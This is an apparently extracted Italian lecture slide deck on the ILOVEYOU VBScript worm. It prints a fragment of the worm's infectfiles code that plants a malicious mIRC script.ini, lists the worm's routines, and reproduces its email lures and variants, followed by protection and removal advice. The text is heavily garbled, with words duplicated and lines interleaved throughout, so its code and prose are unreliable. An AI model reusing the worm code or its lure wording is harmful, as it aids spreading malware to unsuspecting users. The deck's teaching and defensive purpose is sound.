infectfiles( (folderspec folderspec) )
…
… if (
if (eq eq<> <>folderspec folderspec) then ) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc mirc. .ini ini") or(s="script. ") or(s="script.ini ini") or ") or (s="
(s="mirc mirc. .hlp hlp") then ") then set
set scriptini
scriptini= =fso fso. .CreateTextFile CreateTextFile( (folderspec folderspec&" &"\ \script. script.ini ini") ") scriptini
scriptini. .WriteLine WriteLine "[script] "[script]« « scriptini
scriptini. .WriteLine WriteLine "; ";mIRC mIRC Script Script« « scriptini
scriptini. .WriteLine WriteLine "; Please "; Please dont dont edit this script... edit this script... mIRC mIRC will corrupt, will corrupt, if
if mIRC mIRC will will” ”
…
…
Cerca il software Cerca il software mIRCmIRCe crea nella sua cartella il file e crea nella sua cartella il file“SCRIPT.INI”, che contiene i comandi per inviare una
“SCRIPT.INI”, che contiene i comandi per inviare una pagina
pagina htmlhtmlcontenente la copia del contenente la copia del wormworm. .
Macro Virus 59
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv () ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate( (regkey regkey , , regvalue regvalue) )
v
v spreadtoemail spreadtoemail() ()
v v html html() ()
Chiama Chiama infectfiles infectfiles((folderspecfolderspec))
Macro Virus 60
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv() ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate ( (regkey regkey, , regvalue regvalue) )
v
v spreadtoemail spreadtoemail () ()
v v html html() ()
Imposta i Imposta i registri registri
Macro Virus 61
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv () ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate( (regkey regkey , , regvalue regvalue) )
v
v spreadtoemail spreadtoemail() ()
v v html html() ()
Legge gli indirizzi e Legge gli indirizzi e--mail mail nella rubrica e prepara per nella rubrica e prepara per ognuno l’e
ognuno l’e--mail mail
Macro Virus 62
Caratteristiche dell’e Caratteristiche dell’e- - mail mail
Oggetto:
Oggetto: ILOVEYOU. ILOVEYOU.
Contenuto:
Contenuto: kindly check kindly check the the attached attached LOVELETTER
LOVELETTER coming from coming from me. me.
Allegato:
Allegato: LOVE LOVE- -LETTER LETTER- -FOR FOR- -YOU.TXT. YOU.TXT.vbs vbs. .
Macro Virus 63
Il codice Il codice
v
v main() main()
v
v regruns regruns() ()
v
v listadriv listadriv () ()
v
v infectfiles infectfiles( (folderspec folderspec ) )
v
v folderlist folderlist ( (folderspec folderspec) )
v
v regcreate regcreate( (regkey regkey , , regvalue regvalue) )
v
v spreadtoemail spreadtoemail() ()
v v html html() ()
Crea una pagina HTML Crea una pagina HTML contenente codice virale nella contenente codice virale nella directory di Windows.
directory di Windows.
Macro Virus 64
Creazione pagina HTML Creazione pagina HTML
Utilizzata per infezione attraverso Utilizzata per infezione attraverso mIRC mIRC . .
Macro Virus 65
Come proteggersi Come proteggersi
ü
ü Impostare il Impostare il client client di posta elettronica (ad es. di posta elettronica (ad es.
Outlook), in modo da non aprire il messaggio in Outlook), in modo da non aprire il messaggio in anteprima.
anteprima.
ü
ü Creazione regola di posta. Creazione regola di posta.
ü
ü Controllare gli allegati (prima dell Controllare gli allegati (prima dell’ ’apertura!) con apertura!) con un antivirus.
un antivirus.
Macro Virus 66
Impostazione di Outlook Impostazione di Outlook
Visualizza
Visualizza- -Visualizzazione corrente Visualizzazione corrente deselezionare
deselezionare Messaggi con Anteprima. Messaggi con Anteprima.
Macro Virus 67
Creazione regola di posta Creazione regola di posta
Strumenti
Strumenti- -Regole Messaggi Regole Messaggi- -Posta Elettronica Posta Elettronica
Macro Virus 68
Creazione regola di posta Creazione regola di posta
Macro Virus 69
Creazione regola di posta Creazione regola di posta
Macro Virus 70
Creazione regola di posta Creazione regola di posta
Macro Virus 71
Creazione regola di posta Creazione regola di posta
Macro Virus 72
Antivirus Antivirus
Ø
Ø http://www.antivirus. http://www.antivirus.com com
Ø
Ø http://www.f http://www.f- -secure secure. .com com
Ø
Ø http://www. http://www. gnd gnd. .it it/~ /~agalli agalli/software/antivirus. /software/antivirus.htm htm
Ø
Ø http://www. http://www.mcafee mcafee- -at at- -home. home.com com
Ø
Ø http://www. http://www.symantec symantec. .com com
Macro Virus 73
Rimozione Rimozione
ü
ü File ".VBS" da tutte le cartelle di tutti i File ".VBS" da tutte le cartelle di tutti i drive.
drive.
ü
ü File LOVE File LOVE- -LETTER LETTER- -FOR FOR- -YOU.HTM YOU.HTM dalla cartella di sistema di Windows.
dalla cartella di sistema di Windows.
ü
ü File WIN File WIN- -BUGSFIX.EXE e BUGSFIX.EXE e
WINFAT32.EXE dalla cartella dei file WINFAT32.EXE dalla cartella dei file scaricati di Internet
scaricati di Internet Explorer Explorer. .
ü
ü Per Per mIRC mIRC, cancellare il file "script. , cancellare il file "script. ini ini" dalla " dalla cartella dove è installato
cartella dove è installato mIRC mIRC. .
Macro Virus 74
Varianti Varianti
Mothersday Mothersday..vbsvbs We have proceeded to
We have proceeded to change your change yourcredit card credit card for
forthe the amountamountof $326.92of $326.92
…
… MOTHERS DAY MOTHERS DAY
Very Funny Very Funny..vbsvbs
<nessuno>
<nessuno>
JOKE JOKE
President President..vbsvbs
“VERY JOKE..! SEE
“VERY JOKE..! SEE PRESIDENT AND FBI PRESIDENT AND FBI TOP SECRET TOP SECRET PICTURES..”
PICTURES..”
US PRESIDENT AND US PRESIDENT AND FBI SECRETS FBI SECRETS
ALLEGATO ALLEGATO CONTENUTO
CONTENUTO OGGETTO
OGGETTO
Macro Virus 75
Conclusione Conclusione
Il contagio si è propagato solo attraverso il Il contagio si è propagato solo attraverso il
software di posta della Microsoft…
software di posta della Microsoft…
Diversificare non fa altro che rafforzare, Diversificare non fa altro che rafforzare,
mentre l’uniformità provoca mentre l’uniformità provoca l’indebolimento.
l’indebolimento.
Macro Virus 76